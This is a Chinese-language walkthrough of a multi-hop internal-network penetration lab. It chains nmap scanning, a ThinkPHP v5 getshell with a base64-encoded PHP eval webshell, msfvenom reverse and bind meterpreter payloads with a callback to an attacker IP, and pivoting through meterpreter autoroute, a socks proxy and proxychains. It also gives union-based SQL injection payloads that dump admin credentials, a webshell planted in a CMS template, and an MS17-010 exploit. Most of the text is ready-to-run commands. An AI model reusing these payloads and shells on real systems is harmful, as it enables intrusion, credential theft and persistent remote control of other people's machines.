工作組內網滲透
- 本文章旨在捋一遍內網滲透的大致流程思路。
1. 內網網絡拓撲
2. 實戰
-
首先我們使用nmap掃描一下target1的端口
- nmap -T4 -O 192.168.1.107
- 通過掃描結果可以看到,target1開啟了ftp服務/21,ssh服務/22,web服務/80,mysql服務/3306,寶塔/8888
-
既然開啟了web服務,那么我們就先訪問一下target1所搭建的網站
- 發現使用的是thinkphp v5來搭建的。
- 發現使用的是thinkphp v5來搭建的。
-
而這個版本是存在漏洞的,我們可以直接使用exp來getshell
-
如圖:
-
但是當我們訪問shell.php的時候發現訪問失敗
-
cat 一下我們寫的shell,發現字符串 "$_POST" 被過濾掉了
-
那我們便進行繞過,payload:echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php
-
接下來我們使用蟻劍進行連接
-
-
使用蟻劍的虛擬終端,查看一下當前的權限以及linux版本
- 可以看到,當前用戶為 www用戶(低權限),linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64
- 可以看到,當前用戶為 www用戶(低權限),linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64
-
接下來我們上傳一個msf的馬並連接,以便進一步滲透
-
生成一個linux的馬:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=6666 SessionCommunication=0 SessionExpireationTimeout=0 -f elf > shell.elf
-
上傳,並賦予執行權限,執行
-
使用msf設置一個監聽器,用以連接木馬
msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.1.104 set lport 6666 exploit
- 由下圖可看出,木馬連接成功
-
-
接下來我們查找一下與target1連接的內網網段有哪些,並將這些網段添加進路由並掛上代理以便進行內網滲透
- 所要使用的命令
run get_local_subnets //查看與target1所連的內網網段有哪些 run autoroute -s 192.168.22.0/24 //將該內網網段添加進路由 run autoroute -p //用於查看路由是否添加成功 background //將當前的會話掛起 search socks //接下來開始掛socks代理 use auxiliary/server/socks_proxy set VERSION 4a //選擇版本4a,5好像有問題 set SRVHOST 192.168.1.104 //ip設置為kali ip exploit
-
接下來我們要修改一下代理軟件proxychains的配置文件:/etc/proxychains4.conf。在配置文件最后一行加上:socks4 192.168.1.104 1080
-
當我們修改完配置文件之后,如果想要讓我們的工具走代理的話,就需要在命令前加上:proxychains
-
至此,代理搭建完畢
-
接下來我們要搜集內網信息以便進行內網滲透
- 所使用的命令
sessions -i 1 arp -a proxychains nmap -Pn -sT 192.168.22.129 //掃描target2的端口
-
接下來我們來訪問target2所搭建的網站
-
如果你想在kali中打開火狐訪問的話,需要輸入命令:proxychains firefox,通過這條命令打開的火狐是通過軟件proxychains走代理的,然后直接訪問ip:192.168.22.129 即可(如果不加代理的話,由於target2屬於內網且與kali不屬於同一網段,我們是訪問不到web的)。
-
但是我這里想要使用物理機(本機)進行訪問,於是要用到另一款代理軟件:socksCap64。代理軟件socksCap64的配置方法如下:(其實這里你也完全可以使用火狐自帶的代理 - 就像使用brup那樣的配置方法)
-
訪問target2的web服務,由於我們掛了代理,所以直接輸入target2的內網ip即可
-
查看一下網站的源代碼,發現最下方靶場給出了提示:存在sql注入
-
-
利用sql注入拿下target2網站的賬號密碼
- 接下來,我將使用到payload全部總結到下面,注入結果和說明我將一並放進一張圖中(放大即可看清)
- payload:
?r=vul&keyword=1' ?r=vul&keyword=1'%23 ?r=vul&keyword=1' order by 39 %23 ?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 %23 ?r=vul&keyword=1' union select database(),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 %23 ?r=vul&keyword=1' union select group_concat(table_name),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.tables where table_schema="bagecms" %23 ?r=vul&keyword=1' union select group_concat(column_name),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name="bage_admin" %23 ?r=vul&keyword=1' union select username,password,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin %23
-
將 admin/46f94c8de14fb36680850768ff1b7f2a -> md5解密:admin/123qwe。
-
賬號密碼拿到手了,接下來我們就需要找網站的后台了,一般而言像這種較為成熟的cms都會存在robots.txt文件,我們可以通過該文件找到后台
-
使用我們注入得到的賬號成功登陸
-
向target2的網站中寫一句話使用蟻劍連接,並向該服務器中上傳正向連接的木馬並使用msf監聽
-
模板 -> header.php -> 編輯 ->
-
使用蟻劍進行連接(同理:由於target2屬於內網主機,我們仍要使用socksCap64代理軟件打開 蟻劍 來連接一句話)
-
果然不出我所料,就知道target2要給我找點麻煩。
-
沒辦法,百度唄。最終在這個討論區中找到解決方法:https://github.com/AntSwordProject/antSword/issues/243,
-
說是因為寶塔的緣故,導致連接被重置了,解決方法:嘗試在header加上 Connection:keep-alive
-
通過蟻劍進入虛擬終端,看一下target2的系統版本,當前用戶權限
-
接下來生成一個linux的馬:msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=12345 -f elf > shell2.elf
- 注意:這里我們生成的是 正向連接 的馬(因為target2在內網,與kali不處於同一個網段,所以target2是主動訪問不了kali的。但是由於kali掛了代理,是可以主動訪問target2的,即target2 ping不通kali,而kali ping得通target2)
-
kali設置監聽、上線
proxychains msfconsole //注意:這里我們要使用proxychains來打開msf use exploit/multi/handler set payload linux/x64/meterpreter/bind_tcp set rhost 192.168.22.129 //因為我們使用了代理來打開msf,所以這里直接填target2的內網私有ip即可 set lport 12345 exploit
-
-
查看與target2所連的還有哪些網段,並將該網段添加進路由
- 所需命令:
run get_local_subnets run autoroute -s 192.168.33.0/24 run autoroute -p
- 由於之前已經設置過socks4a了,所以這次不需要重復設置了
- 所需命令:
-
對target3進行信息搜集,並上線
-
接下來進入target2的meterpreter會話,執行命令:arp -a,查看與target2相連的活躍主機有哪些
-
發現存在 192.168.33.129 這台活躍主機(target3)
-
掃描一波target3:proxychains nmap -Pn -sT 192.168.33.129(記得加上proxychains)
-
發現 445 端口開啟,且為windows主機,我們可以猜測存在 MS17_010漏洞,直接使用msf盲打,成功上線target3
proxychains msfconsole use exploit/windows/smb/ms17_010_psexec set payload windows/meterpreter/bind_tcp set rhost 192.168.33.129 exploit
-
-
再來一波進程遷移